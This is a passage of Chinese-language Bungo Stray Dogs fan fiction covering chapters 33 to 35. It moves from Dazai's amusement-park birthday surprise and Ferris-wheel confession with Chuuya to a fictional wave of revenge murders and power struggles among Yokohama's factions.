“什么叫又?”太宰治贴到中原中也眼前,他挑了挑眉,满意地看见蓝眸被自己填满,兴致还是不高,“中也是觉得我烦了吗?”
他懒懒开口,带了些阴阳怪气。
“你也知道自己烦啊?”中原中也诧异。
太宰治这时反倒斗志昂扬起来:“我也最讨厌中也了!”
中原中也纠正:“我没有说过!”
太宰治:盯——
中原中也回看过去,眸子里是盈满了笑意。
像是春天将近。
“噫!中也是黏糊糊的小蛞蝓。”这次先扛不住的是太宰治,他移开视线,手指遮着唇,故作嫌弃。
“你个青花鱼有什么好得意的?”中原中也难得赢了太宰治一回,也没在意太宰治的不对劲,兴致勃勃。
混蛋太宰肯定是因为自己输了才不高兴。
中原中也拍了拍太宰治的肩膀,喜滋滋:“没关系,下次你再输给我,我再嘲笑你,这次我就不嘲笑你了。”
“中也只是赢了一回就翘起尾巴了吗?”太宰治摊手,“中也真是可怜。”
中原中也:……
中原中也:拳头硬了。
“中也,再不去那位警官先生就要走了。”捉弄完中原中也,太宰治的心情明显好转不少,语调轻快极了。
“知道了。”中原中也应了一声,没多作犹豫。
太宰治看着中原中也往那位警官先生的方向走去。
他站在阴影处,百无聊赖地猜着中原中也走到人面前要几步,头微微低垂着,视线落在地面上,不知道在看什么。
十七步?十八步?有这么远吗?中也怎么要这么久啊?
说起来中也的步子一向很大,也不知道那么矮的个子怎么迈出那么远的。
太宰治蛐蛐着中原中也。
要看一眼吗?
太宰治调整了姿势,余光正好可以瞥到中原中也。
他没有看中也,只是不小心瞥见了……为什么看自己的小狗他要这么鬼祟?
太宰治正大光明地看中原中也。
他的视线被中原中也捕捉到,中原中也回头看太宰治。
太宰治下意识移开视线。
中原中也转过头,太宰治轻咳一声,耳垂有些泛红,视线乱瞟。
最后才掩耳盗铃似的移到中原中也身上。
中原中也正在跟那位警官先生说话,隔得有些远,太宰治听不清他们在说些什么。
横竖不过是些感激鼓励之类的话。
无聊的社交。
太宰治脸上表情满不在乎,眼神却专注极了,他注视着正在说话的中原中也,嘴里轻轻嘟囔:
“什么嘛,中也居然都没有回头。”
中原中也转头,瞪了太宰治一眼。
毫无力道。
太宰治下意识屏住了呼吸。
中原中也今天还是穿着整套的黑色手工西装,西装很合身,质感也很好,浑身都是黑色的,阳光洒下来的时候是看不见的。
可就算浑身都是黑色,光也依旧撒在他身上,对他格外偏爱。
中也在发光。
抱怨好像被听到了。
太宰治眨眨眼,慢慢站直了一点,心虚了一瞬,随后又理直气壮起来。
中也整个人是主人的,有什么不能看的?
“混蛋太宰,你刚刚在看什么?”中原中也回来了,眼睛微眯。
他刚刚说话的时候,就感觉到了太宰治的目光,虽然不知道他在看什么,不过先下手为强总是没错的。
“在看中也怎么这么慢啊。”太宰治直视回去,顺便倒打一耙,“该我说中也为什么突然看我才对!”
中原中也停顿了一瞬,反问:“不是你想让我看你吗?”
“我想让中也看我中也就会看我吗?”太宰治胡言乱语,“那我让中也一直看我中也也会一直看我吗?中也讨厌鬼!”
“我哪里讨厌鬼了?”中原中也气笑了。
“因为中也不会一直看我啊,做不到的承诺中也还是拿出来了,不是讨厌鬼吗?”太宰治逻辑自洽。
“谁说我做不到了?这不是一直在看着你吗?”中原中也吵上头了。
“啊啊啊啊啊啊。”太宰治抱头。
好可怕的中也。
中原中也还是第一次见到这种架势的太宰治,笑弯了腰。
“喂,太宰,起来了,不是说旅游放松吗?警局放松吗?”
“知道了。”太宰治被拉起来的时候耳后一片通红,强撑镇定。
这个世界的横滨发展得不错,没有那场爆炸,也没有那个巨大的贫民窟。
虽然会偶尔遇到几件凶杀案,但总体还是平静的。
偶尔?
太宰治歪到在中原中也身上。
中原中也恼羞成怒。
发动武力制裁。
太宰治抱头乱窜。
平静的时间过得很快,很快就到了最后一天。
“怎么是游乐园?”中原中也扯下眼罩,看着眼前与他记忆中一般无二的横滨乐园,嘴角微抽。
他对游乐园没什么意见,混蛋太宰是在哄小孩子吗?
耳麦里传来太宰治的声音:“中也不喜欢吗?”
是的,太宰治并没有跟中原中也一起,而是一个人不知道窝哪去了。
中原中也刚想说些什么,太宰治打断:“就算中也不喜欢也没办法了,谁让中也已经答应我了。”
“知道了知道了。”中原中也眼里闪烁着跃跃欲试,“我先去哪?”
太宰治眼前有一个巨大的屏幕,上面是中原中也各种角度的脸,其中最大的是中原中也的正脸,上面屏幕还在不停地跳转,直到捕捉到中原中也最新的动作。
太宰治双手不停地交缠着,眼底是难得一见的忐忑。
这也是他今天没有出现在中原中也面前的原因之一。
不过,中也应该还算喜欢?
太宰治悄悄松了一口气。
“今天是中也生日嘛,中也自己开心就好。”太宰治嗓音里带了些笑意。
中原中也挑眉:“行啊。”
中原中也先去了附近的射击摊位。
太宰治在监控里看着中原中也跟老板要了十发子弹,十发十中,拿走了终极大奖——一个超大的橘色小狗玩偶。
中原中也跟橘色小狗面面相觑,两双蓝眸如出一辙的纯粹。
中原中也抱着小狗,一人一偶看着老板:“老板,这是奖品?”
老板脸上表情和善,他乐呵呵的:“对啊对啊,小朋友,你枪法准,我还是第一次送出去这个奖品。”
中原中也低头看了看小狗蓝宝石眼睛,嘴角没压住弧度,从喉间漏出几声笑:“好,谢谢了。”
刚才在他射击时吵他耳朵的人忽然就哑了声。
“喂?太宰?人呢?”中原中也好
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像什么都没有察觉。
喊了几次,太宰治也没冒出来。
中原中也转身去了其他摊子,耳麦里还没有半点声音。
“哎,这家新开的游乐园抓娃娃机好好用啊,只有几个抓不起来,只要抓起来的都没有掉过。”有路过的少女怀里抱满了娃娃,侧着头跟身边的朋友说话。
“那你也不能抓这么多啊。”她朋友语带无奈,“也不知道这家游乐园的老板会不会亏死。”
中原中也脚步一顿,原本准备去其他地方的脚步转向了抓娃娃机。
娃娃机里有各种各样的娃娃,中原中也注意到里面的其他娃娃都或多或少有人抱着,只有一个黑色的娃娃孤零零的在抓娃娃机里面,黑色的头发,鸢色的豆豆眼,嘴角线平直。
看起来格外像某个不在场的人。
“太宰,那个娃娃是不是很像你?”中原中也说话时脚步已经向娃娃机迈过去了。
“哦。”太宰治捂着脸,声音含糊。
中原中也没急着去抓娃娃,而是停驻在一对情侣旁边。
这对情侣中的女孩想要那个娃娃,她男朋友正在为她加油呐喊:“就差一点了!”
女孩没抓住,最后时刻夹子偏了一点。
周围人都很可惜,女孩本人倒是还好,见中原中也有想要上来的倾向主动让开了。
中原中也看到了,那个娃娃最后动了一下,这才没让女孩抓走。
他只看了一眼就知道太宰治动了手脚。
中原中也是抓娃娃的高手,他的技术还是跟太宰治PK时练出来的。
他的手很稳,操控夹子直奔目标,夹子将要落下,娃娃在最后一刻动了一下,可以正好错开夹子。
中原中也继续动夹子,娃娃继续动,一人一娃像是较上劲了。
一个不落,一个不停动,以至于夹子最后追着娃娃满娃娃机跑。
也是难得一见了。
“嚯,这娃娃会动啊。”有人惊讶。
“我说它怎么怎么抓也抓不到。”是先前的女孩,此时她怀里已经另外抱了许多娃娃。
最后,娃娃被夹子追得无处可逃,自己跳了出来。
“噗嗤。”
不知道是谁先笑了一声,在场人的笑声此起彼伏。
中原中也眉眼间也染上了笑意。
场馆里突然响起生日歌的音乐,唱歌的声音清润:
“祝你生日快乐,祝你生日快乐,祝你生日快乐——”
是太宰治的声音。
“祝你生日快乐。”
场馆里的其他人也跟着旋律唱起来,所有人都注视着已经呆滞了的橘发少年,脸上带着善意的笑容。
“中也生日快乐。”
中原中也拿起娃娃,声音是从这里传出来的。
中原中也下意识抱紧怀里的两只娃娃,眼睛闪闪的,有些不知所措。
“谢谢。”
他压了压帽檐,声音很轻。
“中也,还有人没有出来哦。”耳麦里的声音还没落下,有两个人拨开人群出现在中原中也面前。
两个人身上都还穿着警服。
是松田阵平和萩原研二。
“小中也/中也,生日快乐。”两个幼驯染说话的时机都一模一样。
“生日礼物。”松田阵平率先将手里包装精致的礼盒递了出去。
“抱歉,我们俩个来晚了一点。”萩原研二也将礼物递给中原中也,眉眼温柔,“小中也,要开心。”
“哦。”中原中也表情空白地点了下头,接着重重点了两下。
呆呆的。
松田阵平和萩原研二是跑过来的,额头满是汗,眼神却是真挚又温暖的。
中原中也的帽子压得更低了:“谢谢。”
散场了。
中原中也顺着人潮往外走,身边不时有人过来祝他生日快乐。
中原中也回应了每一句:“谢谢,你也要快乐。”
松田阵平和萩原研二将中原中也护在中间。
“中也,他们来晚是为了准备礼物。”耳麦里太宰治的声音适时响起。
中原中也抬头,对上他们的视线,弯着眸子,他指了指人群外等着他的太宰治:“我要走了,太宰在等我了,玩得开心。”
“好。”二人组也弯了眸子。
中原中也朝太宰治招了招手。
“我猜到了。”中原中也嘴角扬起,“太宰。”
太宰治今天穿了纯白西装,头发被特意梳得规整,口袋上别着一朵红玫瑰,很精致很显眼。
他站在人群之外,原本只是虚虚落在空中的视线在中原中也出现后只剩下了中原中也。
他的眼睛亮了起来。
“中也,这是今天的最后一程。”太宰治说话时声音里藏着不易察觉的涩意,“你想跟我一起去坐摩天轮吗?”
33.第 33 章
摩天轮车厢缓缓升起。
天色渐晚,昏黄的夕阳洒满了天空,星星慢慢冒了出来。
“中也,你今天开心吗?”太宰治问。
“很开心。”中原中也神色有些不自然。
说实话,中原中也真的很开心。
他跟寻常人的成长路径完全不同,也从没有想过要自己会感受到今天这种全然纯粹的来自陌生人的祝福。
就像他是被世界所偏爱的。
“你准备了多久?”中原中也又不是真的什么都不知道,他的目光投向玻璃外,有些不敢看太宰治。
“也没多久。”太宰治姿态更加紧绷了,这对他而已并不是个安全话题,他含糊着。
他不习惯将自己为了中也做的事摆在明面上。
“哦,”中原中也顿了顿,遮掩似的,“我也不是很关心。”
两个人都没说话。
一秒两秒三秒。
中原中也猛地蹿到太宰治身上,一只手手肘压着太宰治脖子,单个膝盖跪在太宰治双腿之间:“所以到底什么时候开始准备的?”
太宰治心中紧绷着的弦忽然就松了,他看着无辜极了,脸上的表情也欠揍极了:“中也猜一猜嘛。”
太宰治顺着中原中也的力道往后倒,被他压在玻璃窗上,眉眼间带着些许笑意。
此时天色已经暗了下来,摩天轮升到高处,窗外黑沉的夜映着绚烂的烟花,他身后空茫,方才烟花炸开时的光好像怎么也照亮不了他。
黑发鸢眸的青年就这么看着中原中也,微笑着,微扬着头,任由橘发少年俯身。
那双比宝石还要纯粹的眸子里映着太宰治。
越来越近,越来越近。
他们额头相抵,蓝眸与鸢眸照出对方的颜色,连睫毛的颤动都能看得一清二楚,好像可以轻易望进对方眼底,什么也遮不住。
好蛮横。
太宰治攥紧了拳头,几欲逃走。
他没有。
他看着那双眸子。
再也看不见别的东西了。
“太宰,我很开心。”中原中也又说了一遍,“今天一天我都很开心。”
太宰治想说些别的什么。
开玩笑也好,惹怒中也也好,只要打断中也就好。
他对人的情绪有着超乎常人的感知,对中也更加如此。
太宰治死死咬着嘴唇,看着中原中也的视线灼热又夹杂着胆怯。
“太宰,我想了很久,”中原中也的睫毛微微颤抖,“我是喜欢你的,不是错觉。”
那双眸子似乎望进了太宰治心里。
太宰治挣扎起来,不停地摇着头,看着中原中也时眼眶红了。
“我喜欢你。”中原中也稳稳地压制着太宰治,强迫他听下去,“不是可怜你,你是最特别的。”
“一直都是。”
鸢眸慢慢浮上了一层水光。
“我不会留在这里,我会回去。”
太宰治不说话。
粗糙的拇指揩过太宰治的眼角,拇指带着厚厚的茧。
刺刺的、温暖的。
“别哭啊,我死了都没哭呢。”
带着点纵容又带着惯常的刺。
“中也好肉麻啊。”太宰治偏头,“中也掐得好疼,果然是没脑子的肌肉蛞蝓。”
却没否认中原中也的话。
中原中也挑眉,不为所动,不忘初心:“混蛋太宰,你什么时候准备的?”
太宰治眼神飘忽了一瞬,随后报了个时间:“1月6号。”
中原中也顿了顿。
太宰治捕捉到中原中也的不自然,眸光锐利:“哈!中也需要去看医生了,这么简单的日子都能忘记,噫!”
中原中也眸子飘忽了一瞬。
“中也怎么不说话?”太宰治逼近中原中也。
人的潜力是无穷大的,中原中也还真被逼出了相关记忆。
“不就是我来这的第一天嘛,有什么了不起的?”
中原中也最开始是不屑的,只是后来声音越说越小,最后几乎听不见了。
“所以,这座游乐园是从那时候开始建的?”中原中也没看太宰治。
“对啊,那时候我还以为中也看不到。”太宰治自暴自弃,“毕竟中也只要想走就可以走。”
中原中也想起之后的那次烟花。
“那场烟花?”
“谁让中也要做那么多任务!害得我连十八岁生日都没赶上!”太宰治怨气颇重。
他也撇开眼睛,低声:“不然也不至于让我一直在中也面前低一头。”
再之后他再也没给中也过过生日了。
中原中也眨眨眼,也没说信还是不信,只是干巴巴地:“哦。”
“中也要拆礼物吗?”太宰治余光瞥见二人组送的礼物。
“摩天轮怎么没动了?”中原中也同时开口。
某种时候太默契也不好,相互递的台阶被撞了个正着。
“不用了。”
“我让他们停在这个高度了。”
又是同时开口。
两人对视一眼,像是被烫到了快速挪开。
车厢里沉默的气氛蔓延。
两个人看天看地看风景就是不看对方,窗外的风景好像突然给他们下了迷药,无比吸引人。
“太宰,你的礼物呢?”中原中也开口,视线依旧看着外面的风景。
太宰治的手指蜷缩了一瞬:“哪有中也这样直接要礼物的?”
他抱怨着。
“不然呢?”中原中也反问回去,“像你一样,不给礼物就捣乱?”
太宰治觉得自己冤枉极了:“没有,中也十九岁礼物都没有给我,我什么都没干!”
中原中也脸上显出一点无语的神色:“混蛋太宰,你那时候叛逃了。”
“那小狗答应主人的话就可以不听了吗?”太宰治怒视中原中也。
“我答应你什么了?”中原中也抬眸。
“中也一辈子都是我的狗!”太宰治斩钉截铁。
中原中也:“滚。”
两个人就这么慢慢地、没有边际地聊着天,又同时避开了那最关键的部分。
好像这样一切从来没有变过。
“太宰,你的烟花什么时候放完?”中原中也打了个哈欠,看着窗外接连不断的烟花。
闪耀绚烂易逝。
“中也,生日快乐。”太宰治将一本黑壳笔记本递给中原中也。
中原中也接过,没有翻开而是继续看着外面的烟花:“生日礼物吗?”
“不是哦,谁会送这么寒酸的生日礼物啊?”太宰治笑了一下。
这只是一颗早就腐烂的、空洞的心。
“生日礼物是这个。”太宰治变戏法一样掏出一个相册。
相册里面是各种各样的中也。
有从摩天轮飞下来的中也,有英雄救美的中也,有不太高兴的中也,还有看笑话的中也,假装公正的中也。
都是中原中也在这个世界留下的痕迹。
中原中也一页一页翻着,时间也一点一点过去。
外面的烟花停了,时间要到了。
他要离开了。
中原中也拧开摩天轮里面的把手,就像拧开他家的门把手一样,在他即将踏出的最后,前所未有的烟花冲天而起。
中原中也,十八岁快乐。
我爱你。
“中也,我爱你。”
“混蛋太宰,你怎么在我家?”
中原中也这半年都在国外出差,到家的时候已经是半夜了,正好错过他的生日。
中原中也在门外站了好一会,不知道在想些什么,直到太宰治打开门才从那种恍惚中回过神来。
“当然是因为中也是我的小狗啊,”尚且青涩的黑发少年阴阳怪气,“主人现在连小狗的窝都不能来了吗?”
“谁是你的狗啊!”中原中也原先还有些失落的情绪在见到少年的时候消失得一干二净。
至于失落的情绪是从哪里产生的中原中也并没有深究。
“不然小狗还会有别的主人给你过生日吗?”太宰治更加阴阳怪气,眼角余光却都落在中原中也身上。
想到自己错过生日,中原中也也有些心虚,推着太宰治往里走,嘴上却不认输:“哈!谁知道你会在这里等我给我过生日啊?”
“就
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是中也的错!”太宰治冷冷地扯了扯嘴角,“要是中也早点回来说不定还能见到我的生日礼物,不过现在全都泡汤了!”
“最讨厌中也这种没有时间观念的狗了!”太宰治大声。
“谁让你没有提前跟我说!”中原中也虽然心虚,依旧不甘示弱。
“中也是什么大人物吗?还要我提前预约时间!”太宰治盯着中原中也。
中原中也被他盯得更加心虚,大声道:“我下次一定早点回来!”
太宰治没动:盯——
中原中也被他看得一僵。
“喂——混蛋太宰,你要干什么?”
中原中也被太宰治压在沙发上。
真要挣脱他肯定是能够挣脱的,只不过太宰治贴得近,要是强制挣脱就一定伤到太宰治,再加上中原中也的心虚,他更加没有动作了。
太宰治扒开中原中也的衣领,一股若有若无的香水味钻进他的鼻腔。
太宰治更加生气了,看着什么都没察觉的中原中也,甚至乖顺地将脖子送到他手下恍若引颈就戮。
太宰治恶从胆边生。
“我靠,混蛋太宰你干嘛?”中原中也瞪大眼睛。
脖颈这种危险部位被人咬着的感觉并不好受,而太宰治的动作又带了些惩罚的意味,更加怪异了。
“有什么问题吗?”太宰治抬起头,面无表情。
中原中也:……
“你继续咬吧。”
第二天太宰治神清气爽地从中原中也家里出来,还顺手将垃圾袋丢了。
里面只有一样东西——是两张撕碎的横滨游乐园门票。
另一个时间点,武装侦探社。
“江户川先生,太宰治来信了。”原猎犬,现侦探社成员条野采菊指尖夹着一封信。
经过这段时间的磨合,猎犬几乎已经融进了侦探社之中。
为此,适当共享情报是很合算的事情。
“我要看。”江户川乱步伸出手。
大半个侦探社的人都不由自主停下了手中的动作,等待着江户川乱步的结果。
侦探社中的人都还牵挂着那个黑发青年。
江户川乱步看完信后,摘下了眼镜,露出了那双好似能看透一切谜团的眸子
锋锐到不可直视。
“所有正式社员都过来开会。”
他第一次发出这样的命令。
“包括你们。”
江户川乱步点了点猎犬三人。
欧洲,钟塔侍从。
阿加莎恭顺地跪在一个女人面前,女人姿态庄严,浑身绕着久居高位人才会有的威势,她脸上的表情慈悲温和。
“阿加莎,你是我看着长大的孩子。”女人走下王座,抬手轻抚阿加莎的头发,“钟塔侍从会永远效忠于我,你宣过誓。”
她将低着头的阿加莎下巴勾了起来,直视着阿加莎的眼睛:“好孩子,你会永远听话的,对吗?”
“是,钟塔侍从永远效忠于您,女王陛下。”阿加莎将手放在胸前。
港口Mafia。
森鸥外坐在首领办公室,拿着软布擦拭着一张照片,神情难得有些寂寥落寞。
那是一张大合照,也是唯一一张。
照片里,少年中也被少年太宰惹怒,脸都气红了,扬着拳头就要打过去,被一边微笑着的公关官制止,提示他看镜头,而另一边的阿呆鸟则踹了太宰治一脚,脚都还没收回来。
冷血面无表情地踩了太宰治一脚,钢琴家和外科医生装不知道的装不知道,销毁罪证的销毁罪证,一个比一个无辜。
森鸥外站在最中间,尾崎红叶抬起袖子掩下嘴角笑意,广津柳浪笑眯眯地看着几个少年闹着,也没提醒他们照片已经照好了。
“林太郎,我们该走了。”爱丽丝拽了拽森鸥外的袖子。
不同地点的人声音仿佛重合起来。
“我不知道太宰想做什么。”江户川乱步第一次这么严肃。
“阿加莎,帮我拿到神明的力量。”女王脸上表情逐渐扭曲,眸子沉醉。
“我也该出来活动活动了。”森鸥外牵着爱丽丝的手低声呢喃,“好歹都是我看着长大的孩子。”
34.第 34 章
一栋别墅。
珍妮是别墅的女仆,她如往常一样推开门叫雇主起床。
窗帘紧紧拉着,层层叠叠的纱帐看不清里面的人。
她先拉开了窗帘,充足的光线照亮了房间。
地毯的颜色是红色吗?
珍妮顿了顿,没有在意。
她踩着地毯,是湿的,珍妮有点不安,但还是轻手轻脚地去掀纱帘。
“啊——”
里面的人已经被分尸了,鲜血将被子浸成了红色,地毯上的红也是这么来的。
这是一场恐怖的,没有人预料到的极恶事件。
在同一时间,世界各地都发生了凶杀案,而且死者都是极具社会地位的人。
各地的家族、势力不约而同向当地警方施压,但很可惜的是,就连警方也没有半点线索。
约翰只是一个小警员,才进伦敦警局没多久,是个纯正的小白,这种大案子一般是轮不到他身上的。
但,谁让他只是一个小警员呢?
一个没有背景的小警员。
他在别墅外面等了很久,还是没有人过来给他开门,他只好另找办法进去。
约翰观察了一会,决定从外面爬进去。
他不知道这种别墅的墙上是通着电的,只是他运气好,正好遇到没有通电的时候。
里面空极了,没有人。
约翰注意到别墅里面并没有荒废,他小心地拉开房子大门。
约翰怔在原地,浑身颤抖着,说不出话。
血腥味扑面而来。
里面的人都已经死了。
血已经干了。
里面的死者大都衣着光鲜,没有见到原先在这里做工的佣人,应该是逃了。
而这样的情形同时发生在世界各地。
有侥幸活下来的,不过已经疯了。
“是他,是他来复仇了。”
“那个黑色幽灵。”
“啊——我没有,我什么都没干,都是他们做的。”
横滨,中原中也墓前。
太宰治这还是第一次来看中原中也,在葬礼过后。
太宰治穿得很正式,纯白的西装加上怀里热烈的红山椿,配上他清俊的脸,如果中原中也还活着的话,大概会是又一个中原中也诱捕器。
太宰治从来都知道中原中也喜欢些什么。
“中也,好久不见。”太宰治弯了弯眸子,“你又矮了不少哎,本来就够矮了,现在还没有我一半高。”
“黑漆漆的小矮子,”太宰治坐了下来,中原中也的墓已经有点积灰了,他浑不在意,“你十七岁的时候还真是好骗哎。”
“说什么都信。”他顿了顿,“中也,你要是也这么好骗就好了。”
很快他又笑了起来,眸子黑沉沉的。
“中也,我会好好活下去的。”
在报完仇之前。
横滨又开始死人了。
没有规律,没有线索。
可能才与人说过话,出去一趟就死了。
死状极为恐怖。
有碎尸的,有嘴巴张大里面空空荡荡的,有眼睛被挖了出来的。
血腥至极。
高官名流是这场屠杀中待宰的羔羊,他们瑟瑟发抖。
不是没有人想过离开横滨,只不过无一例外,试图逃离的那些人最后都死在了家里。
有人猜测:港口Mafia的黑色幽灵回来了。
自那场灾难后才消散阴影好像又重新笼罩了这片土地。
不管是参与过那件事情的人还是没参与过的都不免心惊胆战。
现在坐到横滨政府上层位置的人不少都经历过双黑统治时期。
里世界与表世界从来不是分隔的。
红色的重力使者拥有绝对的力量,而黑色幽灵则游走在人心幽微处。
没有人会不忌惮他们。
在黑色幽灵叛逃后他们实实在在是松了一口气的,甚至于直到现在他们依旧不敢直呼黑色幽灵的名字。
也有人想起武装侦探社那位世界第一名侦探,但很快就有消息传了出来。
那位名侦探失踪了,侦探社的社长已经决定暂停对外业务,发动所有社员去寻找名侦探。
至于为什么不去寻求政府或异能特务科的帮助,死的人都是其中高层,甚至寻求帮助的人本身就是高层。
也有人找了港口Mafia,试图用金钱或者其他什么东西与现首领森鸥外做交易,以换取自己的安全。
无一例外都被拒绝了。
“我们港口Mafia是合法企业,怎么会掺和进这么恐怖的事情呢?”森鸥外微笑着。
— —
“又开始死人了吗?”慈眉善目的老人温和着问来人。
“是的,宫绫大人。”来找老人的是政府来人,姿态恭谨。
眼前的老人早已退下来了,是曾经的横滨一把手,而现在要重新将她请回来实在是一件足以令民众大吃一惊的事情。
这也能够侧面说明一件事情:现在的形势已经严峻到了极点。
“好的,我都知道了。”被称为“宫绫大人”的老人显然对当今的形势有着清晰的判断,“直接将任命书交给我就好,已经极为严重了不是吗?”
老人将政府派来的愣头青送走了,走前那个愣头青眼泪汪汪,显然感动极了。
老人的眸子却平静冷淡,带着股漠然,她坐在方才待客的沙发上想起了前不久见到的青年。
“太宰先生,您有什么吩咐吗?”已经花白头发的女士躬身行礼,说不出此时的心情。
惋惜?感慨?可能还是唏嘘多一些吧。
她已经退休很多年了,是双黑活动时期的政府高层,与他们打交道的时间很多。
尤其是眼前的青年。
毕竟那位红色的重力使是武斗派,并不经常参与进来和政府相关的事情。
不过没几年她就退休了。
她在职期间得罪过不少人,刚退休那段时间没什么人敢过来找事,时间长了就有人蠢蠢欲动,在他们一家出门旅游时往她的车上装了炸弹试图炸死他们一家人。
还是中原中也救下的他们一家,只有极少人知道她与中原中也的这层关系。
之前猎犬的事情也是她在其中运作的结果。
太宰治没有急着提出自己的要求,而是抛出一个问题:
“宫绫小姐,您想重新回去吗?”
她几乎没有思考,脱口而出:“我想。”
宫绫齐从来是极擅长抓住机会的,她成功抓住了机会,同时,她也失去了主动权。
“真恐怖啊。”宫绫齐低声喃喃。
不管过去多少年,那个人还是一样的恐怖,在人心的掌控上。
她也是不敢直呼黑色幽灵姓名的其中之一。
港口Mafia。
港口Mafia最近极速扩张,几乎将横滨的极/道势力全都收拢。
不管是武装部还是文员都忙的脚不沾地,只要停下来就会有新工作找上门,偏偏弄出这一切的罪魁祸首整天找不见人。
尾崎红叶办公桌上堆积的文件都快将她淹没了,她这里还只是一小部分,大头在森鸥外那里。
“还没找到太宰吗?”森鸥外眼睛都熬红了,他捏了捏眉心。
广津柳浪顿了顿,低声道:“太宰先生在中原先生的墓前。”
森鸥外签字的手停了下来:“我知道了。”
太宰治做出的决策没有瞒他,森鸥外很容易就能从中窥探出一点太宰治的真实意图——三刻构想要崩坍了。
他没有阻止太宰治。
那件事情其实能够看出很多东西:黄昏太过孱弱,白天被各方势力牵制,黑夜永远只会是黑夜。
三刻构想真的是对的吗?太宰做的事情又是否能够保护横滨,给横滨以安宁?
森鸥外支持三刻构想的理由其实只有一个:保护这座城市。
当三刻构想不足以承担他的期望时,他
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给出的支持会慢慢坍塌收回。
这并不是一个立即作出的决定,在这个过程中他给出了很多机会,可惜没有人来继续修筑这份信任。
武装侦探社。
“抱歉,我们也无能为力。”社长福泽谕吉脸上浮现出一抹苦笑,“乱步失踪后,侦探社已经乱成一团了。”
眼前人是他的老友,这次也是受人所托,面对混乱的武装侦探社也只能带回这样一个消息。
老友告别侦探社后,社长脸上的表情才淡了下来。
与其他人猜测的做戏不同,江户川乱步是真的失踪了,只不过他曾留下一封信:
不用担心我。
除此之外再无线索。
他有预感,这件事会改变整个横滨,而本该指引侦探社走出迷雾的青年不知道是主动还是被动地离开了。
江户川乱步将让开了自己的位置,松开了自己的庇护。
社长压下内心的担忧。
就像他曾经说过的,他永远相信江户川乱步。
他站起身来,对外面的社员下了这么一道命令:
全体社员都出去,不必再去寻找乱步,但只要有人问起就说是在找乱步。在保护自身安全的同时,维护横滨民众的安全。
“是!”
各种各样的声音夹着电流声落进江户川乱步耳中。
他现在正在港口Mafia。
双腿架在办公桌上,怀里尽是零食,耳朵上挂着监听器。
——由太宰治倾情提供。
几天前,他下楼买粗点心,遇到了太宰治。
“好久不见,要一起去吃点东西吗?乱步先生。”
缠着绷带的黑色西装青年突然出现在江户川乱步眼前,笑意吟吟,好似他们之间从没有过争锋相对的时刻。
江户川乱步没有急着答应下来,他认真地看着太宰治。
眼前的青年好像已经从沉痛中走了出来,身上衣着妥帖,脸上的笑容恰到好处,带着他在侦探社惯常的弧度,一丝不差。
“你见到帽子先生了?”江户川乱步难得有些迟疑。
太宰治脸上笑容不变:“是的哦,乱步先生。”
江户川乱步没有追问,甚至脸上没有丝毫诧异,像是早有预料:“走吧。”
太宰治感叹:“真不愧是乱步先生,早就料到了吗?”
江户川乱步没有接话。
“乱步先生不问问我想做什么吗?”太宰治眨眨眼。
“如果你敢对侦探社做什么,我会杀了你。”江户川乱步没有被眼前青年的伪装迷惑,走在太宰治身后一步,语气淡淡的。
太宰治歪了歪头,语带笑意:“那么,可以请乱步先生跟我走一趟吗?作为交换,我会保全侦探社的所有人。”
他顿了顿:“包括临时社员。”
“他们已经通过入社考试了,是正式社员。”江户川乱步纠正。
“这样吗?”太宰治若有所思。
“车呢?”江户川乱步停了下来,“名侦探不想走了。”
太宰治打了个响指。
一辆黑色其貌不扬的车应声而至,车上走下一个浑身黑色,发尾泛白的青年——是芥川龙之介。
“芥川会是乱步先生这段时间的保镖。”太宰治轻快地介绍,“希望乱步先生在港口Mafia做客的这段时间可以玩得开心。”
车开走了,太宰治并没有离开,而是抬眸看向不远处的三花猫,脚步轻快。
三花猫像是感受到了什么威胁,慢慢退后。
太宰治脚步停了下来,他自言自语:“三刻构想在提出并开始实施的那一刻起,横滨就永远失去了安定的可能,人心的欲望是无限的。”
三花猫跑开了,太宰治站在原地,随后走入了黑暗。
太宰治的目标从来不只是将中原中也复活,没有人比他更清楚人心。
有的人死了所有人才会哀悼,活下来就会变成原罪。
自此,三刻构想崩塌。
35.第 35 章
托近来案件频发的福,最近几月少有纨绔子弟出门。他们都不约而同被家中长辈要求老实待在家里,不过待在家里是不够的,总有些人不信邪。
高条就是这么一个二世祖,他自认为自己没什么好怕的,不管他做什么都会有人为他清理干净的。
高条开着车在外面兜风,在横滨城区,他还是稍微听进去了点,没跑到郊区去。
“三目,你看,那个女的长得真带劲啊。”有狐朋狗友给高山指了指,神色暧昧。
高条顺着狐朋狗友的手指看去,确实长得好看,但这还不是最重要的。
他上学的时候见过一个很漂亮的女孩子,那个女孩子是校园里公认的女神,温柔又美好。
就是不耐打。
三个月就死了。
事情闹得还挺大的吧,媒体记者都来了。
因为她留下了一个日记,不知道怎么流出去了。
就因为她,他被父亲骂了好大一通,被迫出国。
他现在看见的女生跟那个女孩子很像。
高条起了兴趣,他随意道:“找个人把她弄过来。”
“哎——”狐朋狗友爽快应声,“那那个项目?”
“给你了。”高条的声音顺着风传到路旁的白发少年耳中。
这段时间为了维持横滨的安全,侦探社的社员都在外活动。
为了方便,中岛敦全天都维持着虎耳,他可以提前制止很多犯罪行为。
像刚才高条那样的还没有真正施行犯罪行为,甚至可能牵扯不到他身上的事情,条野先生教了他一个极为简单的方法:
先下手为强。
“那些人杀了也无所谓。”曾经的无明之王微笑着,话语中的含义让中岛敦心惊。
不过在这种情况下,这确实是一件好办法。
只要不死就好了。
中岛敦瞳孔变为黑金色竖瞳的样子,纵身一跃,凌空化为白虎,强行逼停,顺便将车拍到一旁的停车位上。
他才逼停车,身后就有群人过来了,为首的是立原道造。
“啊,是人虎啊。”立原道造跟中岛敦打了个招呼,挥了挥手,身后的手下将晕厥过去的高条和狐朋狗友拉了出来,动作间毫不怜惜粗暴极了。
“这个人我们要了。”
“啊哦。”中岛敦愣了一下,“可以问一下他会怎样吗?”
这段时间维持横滨稳定的不只有侦探社还有港口Mafia的人,只是这还是第一次港口Mafia的人说这样的话。
“大概会在讯问后被枪毙吧?”立原道造挠了挠脑袋,他也是第一次走这套程序。
前几个月他们都在忙着收服新打下来的势力,前几天首领弄来一个程序据说是叫——神之眼,让他们带着这套程序和新来的手下去巡街,其他的什么也没说。
刚才就是路过那个男人的时候神之眼突然亮起来了。
此时不远处,有人吵起来了。
“这是妾身的猎物。”尾崎红叶的声音已然含了怒意。
“是我的。”条野采菊的声音慢条斯理地传来。
“条野先生!”
“红叶大姐。”
